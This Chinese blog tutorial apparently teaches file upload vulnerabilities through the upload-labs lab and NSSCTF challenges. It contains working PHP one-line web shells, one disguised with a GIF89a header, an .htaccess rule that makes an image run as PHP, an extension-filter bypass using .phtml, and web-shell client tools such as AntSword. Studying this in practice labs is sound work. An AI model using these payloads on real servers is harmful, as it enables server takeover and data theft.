参考文章WEB入门——文件上传漏洞_htaccess文件上传漏洞-CSDN博客
网络安全之文件上传漏洞_文件上传漏洞的攻击过程-CSDN博客
一些概念
文件上传漏洞
文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。
如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。
文件上传漏洞原理
文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
通过来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。
若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。
文件上传漏洞可以利用的三个条件
- 文件可上传
- 上传文件可已被web容器解释执行
- .上传路径可知
文件上传导致的危害
1、上传的文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml,黑客用以
控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似)。 3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
5、上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块。
6、上传一个合法的文本文件,但是其内容是php脚本,通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录,服务器中的文件,执行系统命令、代码等。
环境与工具
一句话木马
代码短,只有一行代码.
场景多,可以单独生成文件,也可以插入图片中
安全性高,隐匿性强,可变形免杀
.htaccess
<FilesMatch "1234.png">
SetHandler application/x-httpd-php
</FilesMatch>
1.jpg
<script language='php'>@eval($_POST['v']);</script>
1.png
<?php@eval($_POST['shell']);?>
phpinfo.phtml
<?php phpinfo(); ?>
工具准备
中国蚁剑(AntSword):
小皮 :
phpstudy是一款PHP调试环境的程序集成包。简单来说,用上了这款软件,一个网站所需要的Web容器、数据库、PHP等就算是齐活了。phpstudy- CSDN搜索
https://www.xp.cn/
哥斯拉 godzilla
https://github.com/BeichenDream/Godzilla
weevely
https://github.com/epinna/weevely3
搭建upload-labs环境
参考文章渗透测试——upload-labs环境部署_upload-loads phpstudy-CSDN博客
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
https://github.com/c0ny1/upload-labs
将下载后的upload-labs安装包解压,解压路径为phpstudy目录下的www。
使用小皮创建网站
成功后使用小皮打开网站,或者直接访问:127.0.0.1/upload-labs-master
即可打开,页面如下
NSSCTF部分文件上传复现
[SWPUCTF 2021 新生赛]easyupload1.0
打开网站,文件上传类型题目
上传一句话木马,用bp抓包修改文件后缀。
GIF89a
<?=eval($_POST["good"]);?>
访问路径,上传成功
使用蚁剑连接
得到flag
提交上面的flag无效;尝试使用POST方式传参
执行phpinfo(); 命令看源码找到flag
[SWPUCTF 2021 新生赛]easyupload2.0
打开网页
判断为文件上传题,查看源代码
页面中提示上传文件为jpg文件,编写一句话木马并将后缀改为jpg再进行上传。
<script language='php'>@eval($_POST['v']);</script>
将文件jpg后缀修改为phtml进行绕过运行
上网查阅资料
发现用正则表达式过滤了.php/.hta/.ini,因而除了php以外的php文件都可以上传;
php3,php5,pht,phtml,phps都是php可运行的文件扩展名
上传成功
使用蚁剑进行连接
在目录中找到flag